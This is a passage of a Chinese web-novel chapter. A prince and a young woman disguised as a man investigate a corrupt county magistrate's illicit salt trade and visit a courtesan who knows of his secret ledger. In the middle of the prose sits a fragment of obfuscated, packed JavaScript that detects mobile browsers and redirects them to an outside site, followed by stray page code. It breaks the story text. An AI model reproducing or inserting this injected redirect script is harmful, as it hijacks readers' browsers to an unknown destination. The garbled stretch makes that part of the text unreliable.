官银的去处,庄县令自然一清二楚,只是在贺沅安面前,当然不能实话实说。 额头被汗水粘湿了,庄县令道:“回殿下……昨日刺客闯入府衙,杀了地牢里的重犯,还、还劫了全部的官银……” “放肆!”贺沅安猛地拍桌,将在场的人吓得一激灵,“庄尘,你好大的胆子!” “殿下恕罪!殿下恕罪!” 贺沅安:“官银丢失可是死罪,三日内将官银找回来,不然本王便修书一封,奏报京都。” 贺沅安语气拖得很长,庄县令听得出其中的警告,只得不断磕头求饶,连连答应。 “下官听命!还请殿下饶了我这一回!” 庄尘谨慎地抬起头,恰好对上贺沅安漆黑深邃的眼睛,似乎能将他所有的秘密都看穿。 贺砚随伸手拍了拍庄尘的脸,“好自为之。” 说完便起身离开偏厅,留庄尘一人瘫坐在原地大口喘息。 庄管家扶起庄尘,言语间满是担忧。 庄尘劫后余生,咬牙切齿:“既然这样,那就一不做二不休!” “遵命!” ** 照之前的推测,庄县令会大量收盐,然后再高价卖出,循环往复。 莲玉荇收到消息,淮安县附近的盐都被收购了,暗中运进了淮安。 这样的话,县衙里的官银肯定被庄尘用出去了,不过他竟然顺水推舟,把罪名推给没名没姓的刺客。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333978|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 昨夜她带了两个侍卫,准备去庄尘的私宅探一探,看能不能找不到庄尘买卖私盐的账本。 刚从书房出来就被发现了,侍卫带着她一路躲藏,才成功逃了出来。 “景王殿下,昨日一整天都没见你,要不是你身边的人在客栈,我还以为你失踪了。” 莲玉荇挑眉,这位景王殿下近日行踪不定,让她隐约觉得贺沅安有什么瞒着自己。 贺沅安脚步顿住,看向莲玉荇,语气稍显冷淡:“莲姑娘,本王的事应该轮不到你打听。” 无趣。莲玉荇在心里说话,贺沅安态度这么不好,还是别把打听到的线索告诉他了。 莲玉荇转过身,脑海里闪过一个绝妙的主意,可以给贺沅安一点滋味尝尝。 她扯出一个高深莫测的笑意,凑到贺沅安身边低声说话:“我带殿下去个地方。” ** “这便是你要带我来的地方?”贺沅安有些震惊,没想到莲玉荇看起来娇娇弱弱,没想到爱好这口。 贺沅安上下打量着莲玉荇,扮上男装还挺像那么回事儿。 “走吧。”莲玉荇轻佻地笑笑,与先前的模样截然不同,就差用扇子挑起贺沅安的下巴了。 进入红楼,脂粉味扑面而来,贺沅安不适地皱起眉头,一抬眼莲玉荇被一众五颜六色的姑娘带上了二楼。 贺沅安脸色的表情变幻莫测,许久才跟着她们上了楼。 贺沅安躲开身边的莺莺燕燕,问:“莲玉荇,你到底带我来这里干什么?我不好这口。” “来红楼能干什么,贺兄莫要说笑。”听他这么说,莲玉荇几乎要笑出声来,只能强忍着笑意,打趣道。 欣赏着贺沅安难看的脸色,莲玉荇心里很是畅快,终于大发慈悲,屏退一众姑娘,推开门进去了。 房间里布置精致,与红楼其他地方的相比,这里的熏香很独特,有凝神静气之效。 亭烟迎上来,直接牵住了莲玉荇的手,带着她在小几旁坐下。 贺沅安脸色更黑了,莲玉荇莫不是在戏弄他。 “贺兄,坐。”莲玉荇指了指剩下的座位,让贺沅安坐过去。 贺沅安没动,紧盯着莲玉荇,“莲姑……莲兄,你带我来这里干什么?” 看她这副熟稔的样子,不知道还以为是红楼常客。 莲玉荇敛了吊儿郎当的姿态,坐得端正,赶忙解释:“亭烟姑娘是这红楼的花魁,从前侍奉过庄尘,我答应帮亭烟姑娘赎身,亭烟姑娘才愿意告诉我们关于庄尘的事情。” 庄尘这种人,即便出入风月场所,也断不可能透露自己一星半点的信息。 贺沅安不指望能在亭烟这里打听到什么有价值的线索,沉默不语,没有拂了莲玉荇的面子。 毕竟她都女扮男装了。 还很乐在其中。 亭烟从身后的柜子里拿出一张纸,递给莲玉荇。 “庄尘有一个很宝贝的账本,几乎不会离身,就算拿出来也要放在视线可及之内,不允许我碰。” “有一次我不小心碰到,庄尘便把我臭骂了一顿,连夜赶回了府中。” 莲玉荇和贺沅安对视一眼,看来贩卖私盐的证据就在这个账本之中了。 可是,要怎么拿到账本呢?